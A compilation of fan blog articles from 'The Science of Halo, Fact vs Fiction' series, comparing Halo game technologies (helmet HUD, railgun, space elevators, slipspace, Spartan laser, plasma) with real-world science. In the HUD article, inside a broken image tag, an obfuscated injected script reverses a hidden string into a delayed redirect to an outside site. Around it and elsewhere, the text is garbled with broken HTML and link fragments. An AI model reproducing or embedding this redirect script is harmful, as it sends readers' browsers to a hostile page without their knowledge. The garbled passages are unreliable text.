The Science of Halo, Fact vs Fiction: Heads Up Display (HUD)

We all seen this type of technology in Halo for nearly a decade and a half. This technology does exist today, albeit in a slightly different form.

Disclaimer: I am not an expert in this field. This article was in part written and reflagged from existing articles that I’ve included references for near the end of the article. Any facts I may get wrong are not intentional. This article is for entertainment purposes only and is by no means exhaustive with the information herein. I highly suggest you click on the links contained throughout the article if you want to get a fuller understanding of this real-world tech.


In Halo, we the gamers use the heads up display for motion tracking, ammo and grenade counts as well as health, shields and targeting. As with all technology, the HUD has changed from Halo CE through to Halo 4.

Halo CE’s HUDHalo CE HUD
Halo 2’s HUDHalo 2 HUD
Halo 3’s HUDHalo 3 HUD
Halo 4’s HUDHalo 4 HUD

The HUD in Halo can also detect what weapon the bearer has in their hands, switching targeting reticles to match that of the weapon in use. The term HUD is actually incorrect and should be call HMD or helmet mounted display. The difference being that in HUDs you have to look up to see it and it’s fixed into place. Whereas, the HMD is shown on the visor and thus moves with the user’s head movement.


Since Halo CE, we gamers have enjoyed the use of a heads up display or HUD. The technology shown in the game from the start up to the present game for a singular soldier on the battlefield was something that only a decade ago was science fiction.

The earliest for a HUD tech can be traced back to pre-Wolrd War II. HUD tech evolved from “tor_sight”>reflector sight,” a parallax free optical sight tech for military jet fighters. Below shows an early German schematic of this tech.

tor-sight.jpg”>reflec<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])==tor sight” src=”” width=”659″ height=”599″ />Gyro gunsight was the first tech to use reflector sight. As this tech advanced, the early HUDs started displaying computed gunnery solutions. An example of this is the British AI Mk VIII air interception radar. The radar display was projected onto an aircrafts windscreen also showing an artificial horizon. This allowed pilots to now dogfight without having to look away from their windscreen to check their radar.

HUD tech evolved in 1958 by the Royal Navy. This HUD had an attack sight that provided nav and weapon release info for low level attacks. This HUD tech faced strong competition  from those who supported the older electro-mechanical gunsight. In the ’60s French test-pilot Gilbert Klopfstien created the first modern HUD and a standardized set of symbols for HUDs so pilots only needed to learn one system. The ’70s brought HUD tech to commercial aviation. In 1988 the Oldsmobile Cutlass Supreme was the first car to have a HUD. (1)

HUD tech for soldiers’ helmets have been around for a few years now. In 2004 at the Soldier Technology (convention) in Belgium, a new system for the time was shown. It was the NA-OR Advanced Integrated Soldier System or AISS. This personal HUD improved situational awareness, target identifcation, bidirectional communication of data and an early “Friend or Foe” tag system. An example of this HUD is shown below on the soldier’s helmet. (2)


Fast forward to 2013 where HUD tech is now not only looking like the HALO HUD on a small screen, but is now incorporated into a full face visor on a helmet that looks VERY much like an early Spartan Helmet.


Just last year, Sept. 2013, this new tech was shown at the Association of the U.S. Army’s annual meeting. The helmet not only has enhanced protective measures, but also embedded technology that includes a see-through, heads-up display and communication capabilities.

With 72 percent of all combat injuries impacting the face, the engineers sought to bridge a “technology gap” with a mandible and visor on the helmet.heads-up-helmet_2-620x411

The helmet includes cushioning to meet a 14-feet-per-second impact requirement, which will help reduce cases of traumatic brain injuries that translates to protection for a rifle round threat. (3)

This Halo-like helmet has not yet been adopted into the military yet.

Take a look at these videos by Revision Military, the makers of the above helmet:

With the advent of Google Glass and the developing bionic contact lens, people from all over the globe will be able to have personal heads up display. The new to-be-human-ready-at-ces/”>Augmented-reality contact lens is touted to be “human-ready” at this year’s CES (Consumer Electronics Show).


While the HUD of the present as yet can not detect what weapon the soldier is currently holding, can that tech really be far behind? Bio-scan technology is being integrated into current HUDs to alert the soldier as well as their base of the vital signs.


The HUD of Halo isn’t science fiction anymore. While current tech does not yet include all of the aspects of Halo’s HUD, it most certainly is close. It’s very predictable that in the very near future, current technology will have the rest of Halo’s HUD incorporated into single soldier use.

Did you enjoy this article? I’d like to know what you think of it and the tech talked about within. Please hit reply below and share your thoughts.


The Science of Halo, Fact VS Fiction: Railguns

I happened upon some amazing news about a new Railgun that the U.S. military is testing. I had known that railgun technology had been around for a few years, but now it’s on the brink of actual use and not in the development stage.

During this article we’ll explore the fiction side of Railguns and their tech in the Halo universe, versus the real-world application of this technology, as well as their similarities and differences.

Disclaimer: I’m not a scientist or engineer. I may state some things incorrectly.

Now on with the article!



The railgun in Halo was introduced to us in Halo 4. Let’s not mistake this with the MAC (Magnetic Accelerated Cannon) on starships, nor the gauss cannon found on some Warthogs.

The Asymmetric Recoilless Carbine-920 or Railgun is a “compact-channel linear accelerator that fires a high-explosive round at incredible speed, delivering kinetic and explosive force to both hard and soft targets alike”.  Alternately, it can also be described as an electro-magnetic projectile weapon.

Some technical specs for the Railgun are: 
Manufacturer: Acheron Security
Ammunition Type: M645 FTP-HE 16 mm x 65 mm
Ammunition Size: 16mm x 65mm
Length: 110.8 centimetres (43.6 in)
Height: 31.9 centimetres (12.6 in)
Width: 7.4 centimetres (2.9 in)
Weight: 14.9 kilograms (33 lb)
Charge Time: 2 seconds, lesser charge time will cause less damage

The Halo 4 Railgun has no zoom feature while shooting. The projectile follows along dual channels (metal “rails”). These are charged by an electric current that flows through the magnetic rails. This interaction is what fires the projectile at high speed.

Though the handheld Railgun in halo 4 is labeled as “recoilless”, it actually has recoil, likely to show the weapon’s destructive force.


In a report from CBS news/Reuters by David Alexander, it’s stated that the U.S. Navy is planning trials for it’s railgun in 2016. This version of the railgun can fire a 23 pound projectile at seven times the speed of sound and can travel well over 100 miles. To break that down, the speed of sound is 1,125 feet per second or 767 miles per hour. Seven times that is 7875 feet per second (just slightly under 1 1/2 miles per SECOND!) or 5,369 miles per hour. That is some POWER!Futuristic WeaponRear Admiral Matthew Kluder, chief of Naval Research has stated that the railgun has already gone through testing on the ground. The above picture shows a prototype of the current version of the railgun set up in a testing lab to test it’s firepower.

Part of the reason for developing railgun technology is technical superiority as well as cost. The planned 23lb projectile for the sea-based railgun will cost about 25,000. This is vastly cheaper that the average 500K to 1.5 million dollars (US) per conventional missile in use today.

fishbowl view length railgun
Above shows the lab railgun’s length (in a fishbowl view).

“Railguns use electromagnetic energy known as the Lorenz Force to launch a projectile between two conductive rails. The high-power electric pulse generates a magnetic field to fire the projectile with very little recoil, officials said.”

Railgun explosice force

“Current projectiles leaving a railgun have a muzzle energy of about 32 megajoules of force, said Rear Admiral Bryant Fuller, the Navy’s chief engineer. He said one megajoule would move a one-ton object at about 100 mph” Again, the current projectile is only 23 pounds versus the stated 2,000 pounds. So that’s just over 1% of the weight and 32 times of force. POWERFUL!!!

To illustrate this, the picture below shows the destructive force of an even smaller real-world projectile through a railgun. Though not said, the smaller projectile looks to be no more than a few pounds in weight. This is relative to the Halo 4’s projectile.

1-2 in steel plates SIXWhat you’re looking at above are SIX 1/2 inch thick steel plates that have had a several inches wide hole PUNCHED through them.

Check out this video of the real-world railgun in action! (link submitted by Kevin Armstrong-Thanks Kev!)

The technology for the real-world railgun is very similar to the tech represented in Halo 4’s railgun. The major difference being that we in present time have not yet reduced the size of the gun itself for individual use.

Given the size of the projectile in the Halo 4 railgun, coupled with the power associated with the electromagnetic current, it is quite evident that the destructive force of the Halo 4 railgun is accurately depicted in game.

So not only is this tech possible, it’s REAL and right NOW!

tor.html?vp=1″>Fact SOURCE LINK


The Science of Halo, Fact VS. Fiction: Space Tethers/Elevators/Platforms

Wow, it has been some time since I wrote one of these Science of Halo articles. Well, in a way, I’m glad I waited. The topic in this article is one that I wouldn’t have thought possible during our lifetimes, yet may very well be.

Space Tethers, Elevators, Platforms. Whatever you want to call them, they are incredible constructs that provide easy access to goods shipped via cargo vessels in space as well as a means to transport people to and from the planet and space. We’ve seen them in various Halo games. Could they be real in the future? Let’s explore this fascinating subject and look at both the sci-fii nature of it and the real possibilities.

First up, let’s look at the in-universe space tethers of the Halo franchise.


Corbulo Academy Space PlatformCorbulo Academy thether

We got to see this platform in all it’s glory in Episode 3 of the Forward Unto Dawn miniseries.

Screen shot 2012-10-19 at 2.08.12 PM

It stretches from the planet Circinius IV starting from the Corbulo Academy of Military Science (CAMS) into space.

Screen shot 2012-10-19 at 2.22.22 PM

It came under attack on a fateful day in which nearly all of the students and staff of CAMS were killed.

Screen shot 2012-10-19 at 2.26.40 PM

The destruction of the tether proved costly as not only did the people in the tether at the time of it’s destruction lose their lives, but it also meant nearly everyone else on the ground were trapped on the planet during the Covenant invasion.

Quinto Space TetherQuito thether screen2

Above is the map layout for the multiplayer map in Halo 3. It’s still one of my favorites.

Quito tether screen

A view of the Quinto space tether as seen from the ground.

Quinto tether from Space

A view from space looking down towards Earth. A fantastic and dizzying site at the same time.

New Mombasa Orbital Elevator
New Mombasa Orbital elevator ODST Concept

A conceptual rendering of the New Mombasa Orbital Elevator (NMOE) from Halo 3: ODST

New Mombasa Orbital_Elevator

Another look at it, in it’s finished form.


This is a great view of the NMOE from the ground. Note the sturdy construction at the bottom and the tapering of the tether as it goes skyward.

New Mombasa Orbital elevator falling The NMOE at the moment of it’s destruction, due initially form the slipspace rupture created by the Prophet of Regrets flagship as it entered splispace next to the tether. It’s quite evident that humanity has not been able to protect their tethers in the Haloverse. This is something we as humanity now need to take into account (should we ever be invaded by an alien race).

New Mombasa Orbital elevator destroyed

The NMOE has fallen…

New Mombasa Orbital Elevator remnants

It spewed a path of debris that stretched thousands of miles long.

The tethers are said to be made of carbon nanofiber.

The following is an excerpt from halo wiki regarding the positioning of the tethers relative to their planets:

The base concept of a Space elevator consists of a cable attached to the surface on the equator and reaching outwards into space. By positioning it so that the total centrifugal force exceeds the total gravity, either by extending the cable or attaching a counterweight, the elevator stays in place in geosynchronous orbit. Once moved far enough, climbers are accelerated further by the planet’s rotation.

The most common proposal is a tether, usually in the form of a cable or ribbon, that spans from the surface to a point beyond geosynchronous orbit. As the planet rotates, the inertia at the end of the tether counteracts gravity and keeps the tether taut. Vehicles can then climb the tether and escape the planet’s gravity without the use of rockets. The engineering of such a structure requires an extremely light but extremely strong material (current estimates require a material ~2 g/cm³ in density and a tensile strength of ~70 GPa). Such a structure could eventually permit delivery of great quantities of cargo and people to orbit, and at costs only a fraction of those associated with current means with little of the danger of conventional sub-orbital travel.

The obvious reason for construction of these tethers is cost. Building a sustainable tether using gravity as a base of movement is much cheaper than conventional booster rockets.


So now that we’ve taken a look at the fiction of space tethers in the Haloverse, let’s see the fact of today and the possibilities of the future in real life.

To start, instead of building one on Earth, scientists are first looking to the moon as the site of the first space tether. For one, it offers protection for humanity incase of a catastrophic collapse. As well, the reduced gravity of the moon makes this easier to construct and keep aloft.

As mentioned, a space tether would be far less costly. The possibility of sending materials from the moon’s surface to Earth’s orbit is quite possible.

The LiftPort Group of Seattle, Wash is working on one such tether. They are calling it the Luna Space Elevator Infrastructure (LSEI). At present the project would use off-the-shelf technology. That’s quite impressive in and of itself.

Their tether would use a vehicle that would move via the tether. The Seattle group sees the use of a rocket traveling from Earth to a station in space. Then it’s transferred to the robotic lifter attached to the tether and delivered to the moon as a soft landing. They have run tests to determine that the tether could transport up to 36 people to the moon per year in the early years of it’s use.

NASA’s newly announced Lunar Cargo Transportation and Landing by Soft Touchdown (CATALYST) program makes it quite possible that the tether would be used in this capacity.

Jerome Pearson, president of STAR, Inc, has said that a tether from Earth while tough, is not impossible. It would require huge quantities of carbon nanotubes (see that fact vs fiction connection). The biggest issue is the large amount of low Earth orbit debris that could destroy the tether.

To counter that, Pearson’s ElectroDynamic Debris Eliminatro (EDDE) project, a space craft, could remove debris from 4 inches and up from low orbit in 10-15 years from now. He reiterates that the danger of space debris around Earth and the potential for catastrophic collapse are the main reasons for first attempting this on the moon. Another reason is that high strength carbon nanotubes wouldn’t be needs for the lunar tether, again due mostly to it’s greatly reduced gravity.

The following is a diagram from Liftport that shows the basics of where the position of such a lunar tether would be in relation to Earth.

liftport diagram

By transporting materials from the moon to the end of the tether, the need to capture an asteroid for a counter weight (an ambitious and dangerous prospect indeed) would be nullified.

The materials from the moon that we would be able to gather could include  lunar regolith as well as lunar polar water and potentially Helium-3 for nuclear power. Helium-3 costs millions of dollars per ounce where it’s rare on Earth. However, it’s abundant on the moon, which would dramatically reduce the costs of nuclear power.

Pearson believes that the lunar tether is quite possible by around 2025. Just over ten years from now!!! That in turn if successful would open the way for an Earth tether. The cost of sending materials from the moon to Earth would become essentially free as it’s expected to pay for itself after about 19 payload cycles.

Much of the above in the “Fact” section was paraphrased here from an article on

So as we can see, not only is a space tether possible, but probable AND in our lifetimes!


The Science of Halo, Fact Versus Fiction: Slipspace Technology

Slipspace Technology

So most of us have wondered what it would be like to travel faster than the speed of light. Slipspace technology is yet another type of travel that portends to do so. Is it possible?

In this segment of the Science of Halo we’re going to take a look at common as yet fictional Faster Than Light (FTL) technologies and compare them with the fiction of Slipspace technology.

First let’s mention some of those common names:
Hypserspace: A reference in Star Wars, it’s really the dimension of space when traveling at FTL speeds and not the actual movement/motion of it.
Lightspeed: This is yet another term popularized by Star Wars and is one of the most commonly reffered to terms when talking about FTL drives.
Space-Time Distortion: A famous theory of this is the Alcubierre drive.
Warp Drive: Warp Drive is known from the Star Trek franchise. The United Federation of Planet starships use this type of FTL drive.
Slipspace: Known to Halo fans, it’s become even more popular with several mentions in Halo Reach.


Before delving into specific common references to FTL drives, take a look at this link:
It’s chock full of knowledge regarding FTL drives and other instances of things being faster than light, such as quantum mechanics, such as quantum entanglement. Here is another excellent link for knowledge of interstellar travel:

Hyperspace is defined as space of more than three dimensions. It was first thought to have been used in 1867. Again this is not the motion of faster than light, but rather the space FTL exists in…possibly.

Surprisingly when I look up “Lightspeed” I am very often directed to a link for Warp Speed or something else entirely different. So suffice to say that Lightspeed is defined as such. Traveling at the speed of light. A famous Star Wars quote by Han Solo talking about the Millennium Falcon goes something like this, “she’ll make .5 past lightspeed.” In this respect we are then led to believe that starships in the Star Wars galaxy are able to travel FTL.

Space-time distortion

(Taken from the link above) Although the theory of special relativity forbids objects to have a relative velocity greater than light speed, and general relativity reduces to special relativity in a local sense (in small regions of spacetime where curvature is negligible), general relativity does allow the space between distant objects to expand in such a way that they have a “recession velocity” which exceeds the speed of light, and it is thought that galaxies which are at a distance of more than about 14 billion light-years from us today have a recession velocity which is faster than light. Miguel Alcubierre theorized that it would be possible to create an Alcubierre drive, in which a ship would be enclosed in a “warp bubble” where the space at the front of the bubble is rapidly contracting and the space at the back is rapidly expanding, with the result that the bubble can reach a distant destination much faster than a light beam moving outside the bubble, but without objects inside the bubble locally traveling faster than light. However, several objections raised against the Alcubierre drive appear to rule out the possibility of actually using it in any practical fashion. Another possibility predicted by general relativity is the traversable wormhole, which could create a shortcut between arbitrarily distant points in space. As with the Alcubierre drive, travelers moving through the wormhole would not locally move faster than light which travels through the wormhole alongside them, but they would be able to reach their destination (and return to their starting location) faster than light traveling outside the wormhole.

What’s interesting about this theory (Alcubierre Drive) is that it’s likely the closest to slipspace technology and could indeed become feasible someday. Here is the theory summed up better:
The Alcubierre metric defines the warp drive spacetime. This is a Lorentzian manifold which, if interpreted in the context of general relativity, allows a warp bubble to appear in previously flat spacetime and move off at effectively superluminal speed. Inhabitants of the bubble feel no inertial effects. The object(s) within the bubble are not moving (locally) faster than light, instead, the space around them shifts so that the object(s) arrives at its destination faster than light would in normal space.

The above paragraph taken from this link:

Warp Drive

Take a look at this link from NASA that explains the current state of Warp Drives in reality:

other links on Warp Drive:


Here are three links regarding Halo’s Slipspace Technology.

“They have opened a path to the stars for all of us.” — Tobias Fleming Shaw, ScD, QeD, FRS January 30, 2220 – November 10, 2317, Wallace Fujikawa ScD, QEnD April 20, 2215 – February 18, 2318

Wallace Fujikawa and Tobias Fleming Shaw are the two scientists noted for leading the team of engineers and theoretical physicist who created Slipspace technology in the Halo universe.

Shaw-Fujikawa drives create ruptures in space or mini wormholes. Passing through these wormholes acts as a shortcut through normal space by entering “slipspace,” thereby attaining FTL speeds. Hence, Auntie Dot in Halo Reach saying “Slipspace rupture detected.”

The following paragraph is taken from this link:

The elements Selenium and Technetium are used to manufacture Shaw-Fujikawa Translight Engines. In the 2490s, the colony of Levosia was suspected of diverting the said elements to the black market. The ensuing UNSC blockade of the system and the Insurrectionist reaction eventually led to the to_Incident”>Callisto Incident, which is said to have effectively sparked the Insurrection.

It should be noted that Covenant Slipspace is not only more accurate, but much faster than human slipspace tech. Forerunner tech is faster still.

In the same 24 hours each race’s slipspace tech can travel approximately:
Human 2.625 light years distant
Covenant 912.12 light years distant (nearly 350 times faster than human slipspace)
Forerunner 2371.2 light years distant (nearly 1,000 times faster than human slipspace)

Follow this link for more specifics on slipspace speeds:


So is it possible to travel FTL in any form? Well not yet, though many scientists are working on some form of it. NASA is vested in some form of Warp Drive. It could be possible to have interstellar travel, albeit at greatly reduced speeds than FTL. This would require a generational starship that would allow many generations of BOB (Born on Board) humans to live, though they would only know life on the ship until the destination of a planet that would be habitable. Shielding would be required not just from space dust, but also the harmful radiation that permeates space. Given that this shielding is as yet not possible the likelihood that humanity will take to the stars for a long period of time is unlikely in the near future, though I would never say NEVER.

Here is another link for those interested in possibilities of FTL drives:

Okay, so I know that’s a lot of technical stuff to digest, but that’s part of the point of these articles. Halo is SO much more than the video game, if you allow it to be. Getting a glimpse and/or understanding the Science of Halo from a realistic stand point allows you to be more immersed in the lore of Halo.


The Science of Halo, Fact versus Fiction: Spartan Laser

This is a LONG article with NO TL:DR section. Though you may want to scroll to the “Summation” section at the bottom of the article.

The following “Fact” section was taken directly from the links provided after specific sections. I did not include all the text from those links, electing to copy that which I felt was pertinent and reasonably understood by all. Please check out the links for much more information on Lasers.

Discliamer: I am not a scientist, so I may get some things wrong in this article. Now onto the article:

What is a Laser?
A laser is a device that emits light (electromagnetic radiation) through a process of optical amplification based on the stimulated emission of ton”>photons. The term “laser” originated as an acronym for Light Amplification by Stimulated Emission of Radiation. The emitted laser light is notable for its high degree of spatial and temporal coherence, unattainable using other technologies. In modern usage “light” broadly denotes electromagnetic radiation of any frequency, not only visible light, hence infrared laser, ultraviolet laser, X-ray laser, and so on. (Layman’s terms: Light is bounced back and forth at an accelerated speed between mirrors-one being partially transparent, light escaping this can be focus to form a laser.)

Spatial coherence typically is expressed through the output being a narrow beam which is diffraction-limited, often a so-called “pencil beam.” Laser beams can be focused to very tiny spots, achieving a very high irradiance. Or they can be launched into a beam of very low divergence in order to concentrate their power at a large distance.

Temporal (or longitudinal) coherence implies a polarized wave at a single frequency whose phase is correlated over a relatively large distance (the coherence length) along the beam.

Most so-called “single wavelength” lasers actually produce radiation in several modes having slightly different frequencies (wavelengths), often not in a single polarization. And although temporal coherence implies monochromaticity, there are even lasers that emit a broad spectrum of light, or emit different wavelengths of light simultaneously. There are some lasers which are not single spatial mode and consequently their light beams diverge more than required by the diffraction limit. However all such devices are classified as “lasers” based on their method of producing that light: stimulated emission. Lasers are employed in applications where light of the required spatial or temporal coherence could not be produced using simpler technologies.

How is a laser created/designed?
A laser consists of a gain medium, a mechanism to supply energy to it, and something to provide optical feedback. The gain medium is a material with properties that allow it to amplify light by stimulated emission. Light of a specific wavelength that passes through the gain medium is amplified (increases in power).

For the gain medium to amplify light, it needs to be supplied with energy. This process is called pumping. The energy is typically supplied as an electrical current, or as light at a different wavelength. Pump light may be provided by a flash lamp or by another laser.

The most common type of laser uses feedback from an optical cavity—a pair of mirrors on either end of the gain medium. Light bounces back and forth between the mirrors, passing through the gain medium and being amplified each time. Typically one of the two mirrors, the output coupler, is partially transparent. Some of the light escapes through this mirror. Depending on the design of the cavity (whether the mirrors are flat or curved), the light coming out of the laser may spread out or form a narrow beam. This type of device is sometimes called a laser oscillator in analogy to tor”>electronic oscillators, in which an electronic amplifier receives electrical feedback that causes it to produce a signal.

Most practical lasers contain additional elements that affect properties of the emitted light such as the polarization, the wavelength, and the shape of the beam.

The light emitted:
The beam in the cavity and the output beam of the laser, when travelling in free space (or a homogenous medium) rather than waveguides (as in an optical fiber laser), can be approximated as a Gaussian beam in most lasers; such beams exhibit the minimum divergence for a given diameter. (Think Gauss Hog’s laser).

The differences of a Red or Green laser are as such:
The red laser light has a longer wavelength (about 650 nanometers) than does the green (about 532 nanometers). The mechanism behind making them is also different. Red lasers use a diode, optics, and some electronics. These are fairly easy to make and assemble, so red lasers are cheap. The green laser, on the other hand, requires a special diode (an 808 diode for those who know their lasers), a second infrared laser crystal, and a frequency-doubling crystal. These have to be very carefully aligned in order for the laser to function properly.

For more info on the color of lasers please check out this link:

Pulse mode of operation:
Pulsed operation of lasers refers to any laser not classified as continuous wave, so that the optical power appears in pulses of some duration at some repetition rate. This encompasses a wide range of technologies addressing a number of different motivations. Some lasers are pulsed simply because they cannot be run in continuous mode.

In other cases the application requires the production of pulses having as large an energy as possible. Since the pulse energy is equal to the average power divided by the repetition rate, this goal can sometimes be satisfied by lowering the rate of pulses so that more energy can be built up in between pulses.

Other applications rely on the peak pulse power (rather than the energy in the pulse), especially in order to obtain nonlinear optical effects. For a given pulse energy, this requires creating pulses of the shortest possible duration utilizing techniques such as Q-switching.

In a Q-switched laser, the population inversion is allowed to build up by introducing loss inside the resonator which exceeds the gain of the medium; this can also be described as a reduction of the quality factor or ‘Q’ of the cavity. Then, after the pump energy stored in the laser medium has approached the maximum possible level, the introduced loss mechanism (often an electro- or acousto-optical element) is rapidly removed (or that occurs by itself in a passive device), allowing lasing to begin which rapidly obtains the stored energy in the gain medium. This results in a short pulse incorporating that energy, and thus a high peak power.

Pulsed pumping:
Another method of achieving pulsed laser operation is to pump the laser material with a source that is itself pulsed, either through electronic charging in the case of flash lamps, or another laser which is already pulsed. Pulsed pumping was historically used with dye lasers where the inverted population lifetime of a dye molecule was so short that a high energy, fast pump was needed. The way to overcome this problem was to charge up large tors”>capacitors which are then switched to discharge through flashlamps, producing an intense flash.

Gas Dynamic Laser:
Gas Dynamic Laser (GDL) is laser based on differences in relaxation velocities of molecular vibrational states. The laser medium gas has such properties that an energetically lower vibrational state relaxes faster than a higher vibrational state, thus a population inversion is achieved in a particular time.

Pure Gas dynamic lasers usually use a combustion chamber, supersonic expansion nozzle and CO2 as an active laser medium in mixture with nitrogen or helium. Gas dynamic laser could be however pumped not only by combustion, but by any adiabatic expansion of gas. Any hot and compressed gas with appropriate vibrational structure could be utilized.

Explosively pumped gas dynamic laser is a version of gas dynamic laser pumped by expansion of explosion products. Hexanitrobenzene and/or tetranitromethane with metal powder is preferred explosive. This device could have very high pulse peak power output applicable in laser weapons.

How a Gas Dynamic Laser Functions:

1. Hot compressed gas is generated.
2. Gas expands through subsonic or supersonic expansion nozzle, the temperature of the gas becomes lower and according to maxwell–Boltzmann distribution the gas isn’t in thermodynamic equilibrium until the vibrational states relax.
3. The gas flows through the tube of a particular length for a particular time. In this time lower vibrational state does relax but higher vibrational state doesn’t. Thus population inversion is achieved.
4. Gas flows through mirror area where stimulated emission takes place.
5. Gas returns to equilibrium and becomes warm. It must be removed from the laser cavity or it will interfere with the thermodynamics and vibrational state relaxation of the freshly expanded gas.

Operational Advantages of Lasers:
Laser weapons could have several main advantages over conventional weaponry:

  • Laser beams travel at the speed of light, so there is no need (except over very long distances) for users to compensate for target movement when firing over long distances. Consequently, evading a laser after it has been fired is impossible.
  • Because of the extremely high speed of light it is only slightly affected by gravity, so that long range projection requires little compensation. Other aspects such as wind speed can be neglected at most times, unless shooting through an absorption matter.
  • Lasers can change focusing configuration to provide an active area that can be much smaller or larger than projectile weaponry.
  • Given a sufficient power source, laser weapons could essentially have limitless ammunition.
  • Because light has a practically nil ratio (exactly 1/c) of momentum to energy, lasers produce negligible recoil.
  • The operational range of a laser weapon can be much larger than that of a ballistic weapon, depending on atmospheric conditions and power level.

Blooming of a Laser:
Laser beams begin to cause plasma breakdown in the air at energy densities of around a megajoule per cubic centimeter. This effect, called “blooming,” causes the laser to defocus and disperse energy into the atmosphere. Blooming can be more severe if there is fog, smoke, or dust in the air.

Reducing blooming:

  • Spread the beam across a large, curved mirror that focuses the power on the target, to keep energy density en route too low for blooming to happen. This requires a large, very precise, fragile mirror, mounted somewhat like a searchlight, requiring bulky machinery to slew the mirror to aim the laser.
  • Use a phased array. For typical laser wavelengths this method requires billions of micrometre-size antennae. No way to make these is known. However, carbon nanotubes have been proposed. Phased arrays could theoretically also perform phase-conjugate amplification (see below). Phased arrays do not require mirrors or lenses, can be made flat and thus do not require a turret-like system (as in “spread beam”) to be aimed, though range will suffer at extreme angles (that is, the angle the beam forms to the surface of the phased array).
  • Use a phase-conjugate laser system. Here, a “finder” or “guide” laser illuminates the target. Any mirror-like (“specular”) points on the target reflect light that is sensed by the weapon’s primary amplifier. The weapon then amplifies inverted waves in a positive feedback loop, destroying the target with shockwaves as the specular regions evaporate. This avoids blooming because the waves from the target passed through the blooming, and therefore show the most conductive optical path; this automatically corrects for the distortions caused by blooming. Experimental systems using this method usually use special chemicals to form a “phase-conjugate mirror“. In most systems, the mirror overheats dramatically at weapon-useful power levels.
  • Use a very short pulse that finishes before blooming interferes.
  • Focus multiple lasers of relatively low power on a single target.

High Power Consumption:
One major problem with laser weapons (and directed-energy weapons in general) is their high electric energy requirements. Existing methods of storing, conducting, transforming, and directing energy are inadequate to produce a convenient hand-held weapon. Existing lasers waste much energy as heat, requiring still-bulky cooling equipment to avoid overheating damage. Air cooling could yield an unacceptable delay between shots. These problems, which severely limit laser weapon practicality at present, might be offset by:

  1. Cheap high-temperature superconductors to make the weapon more efficient.
  2. More convenient high volume electricity storage/generation. Part of the energy could be used to cool the device.

Weaponized lasers of the present:
Pulsed Energy Projectile or PEP systems emit an infrared laser pulse which creates rapidly expanding plasma at the target. The resulting sound, shock and electromagnetic waves stun the target and cause pain and temporary paralysis. The weapon is under development and is intended as a non-lethal weapon in crowd control.

• Made by Northrop Grumman:

  • On March 18, 2009 Northrop Grumman announced that its engineers in Redondo Beach had successfully built and tested an electric laser capable of producing a 100-kilowatt ray of light, powerful enough to destroy cruise missiles, artillery, rockets and mortar rounds. An electric laser is theoretically capable, according to Brian Strickland, manager for the United States Army‘s Joint High Power Solid State Laser program, of being mounted in an aircraft, ship, or vehicle because it requires much less space for its supporting equipment than a chemical laser.
  • On April 6, 2011, the U.S. Navy successfully tested a laser gun, manufactured by Northrop Grumman, that was mounted on the former USS Paul Foster, which is currently used as the navy’s test ship. When engaged during the test that occurred off the coast of Central California in the Pacific Ocean test range, the laser gun was documented as having “a destructive effect on a high-speed cruising target,” said Chief of Naval Research Admiral Nevin Carr.[10] While classified, the range of the laser gun is attributed to miles, not yards.
  • Northrop Grumman has announced the availability of a high-energy solid-state laser weapon system that they call FIRESTRIKE, introduced on 13 November 2008. The system is modular, using 15 kW modules that can be combined to provide various levels of power.

• On 19 July 2010 an anti-aircraft laser described as the Laser Close-In Weapon System was unveiled at the Farnborough Airshow.
• The Mid-Infrared Advanced Chemical Laser (MIRACL) is an experimental U.S. Navy deuterium fluoride laser and was tested against an Air Force satellite in 1997.
• In 2011, the U.S. Navy began to test the Maritime Laser Demonstrator (MLD), a laser for use aboard its warships.
• Personnel Halting and Stimulation Response, or PHaSR, is a non-lethal hand-held weapon developed by the United States Air Force. Its purpose is to “dazzle” or stun a target. It was developed by Air Force’s torate”>Directed Energy Directorate.
• Tactical High Energy Laser (THEL) is a weaponized deuterium fluoride laser developed in a joint research project by Israel and the U.S. It is designed to shoot down aircraft and missiles. See also National missile defense.
• The U.S. Air Force’s Airborne Laser, or Advanced Tactical Laser, is a plan to mount a CO2 gas laser or COIL chemical laser on a modified Boeing 747 to shoot down missiles

The Haloverse utilizes lasers to a varying degree. None is known better than the Spartan Laser, or Splaser as it is known to some. The Splaser is a portable shoulder mounted weapon with precision and high energy output. It is capable of killing anything up to the largest ground based vehicles in one shot. Though it may take a another shot for vehicles such as a Wraith of Scorpion. The Spartan Laser’s full name is the Weapon/Anti-Vehicle Model 6 Grindell/Galilean Nonlinear Rifle, (abbreviated W/AV M6 G/GNR).

The Spartan Laser is powered by a BA-53635/PLMD non-replaceable battery. Even though the name of the weapons implies use by Spartans, it has been used by ODSTs and marines alike. The Splaser utilizes a laser scope to help the user direct their shot to the intended target. The splaser uses a charging system, similar to real-life pulse lasers. Once charged, the Splaser delivers a devastating directed laser many magnifications higher than is known and/or used presently. Unlike present day lasers, the Splaser makes use of an auditory function to let the user know of impending discharge of the weapon. The total charge time takes roughly 2.5 seconds.

The Splaser is not a one beam weapon. In fact it is several smaller beams shot quickly to give the appearance of one intense beam.

The Spartan Laser though powerful and deadly is limited by the amount of shots it can produce, due to the battery.

It is clear given the information in the factual section that lasers not only exist (and have for some time now), but can also be weaponized. No doubt a laser of today has the same if not more destructive firepower of a Spartan Laser. However, these are huge and no where near ready to be utilized as a shoulder mounted weapon. Given the advances of science in the past century it is reasonably plausible that a weapon such as the Spartan Laser will exist by the time period of the Haloverse.


The Science of Halo, Fact versus Fiction: Plasma Weapons

The following “Facts” were taken from the sources quoted below. The Fictional section is my own interpretation and the summation is again my own interpretation based on the facts and fiction of Plasma as a weapon.

What IS Plasma?
(1) There are three classic states of matter: solid, liquid, and gas; however, plasma is considered by some scientists to be the fourth state of matter because of its unique properties. Ionized refers to presence of one or more free electrons, which are not bound to an atom or molecule. The free electric charges make the plasma electrically conductive so that it responds strongly to electromagnetic fields.

Plasma typically takes the form of neutral gas-like clouds (e.g. stars) or charged ion beams, but may also include dust and grains (called dusty plasmas). They are typically formed by heating and ionizing a gas, stripping electrons away from atoms, thereby enabling the positive and negative charges to move more freely.

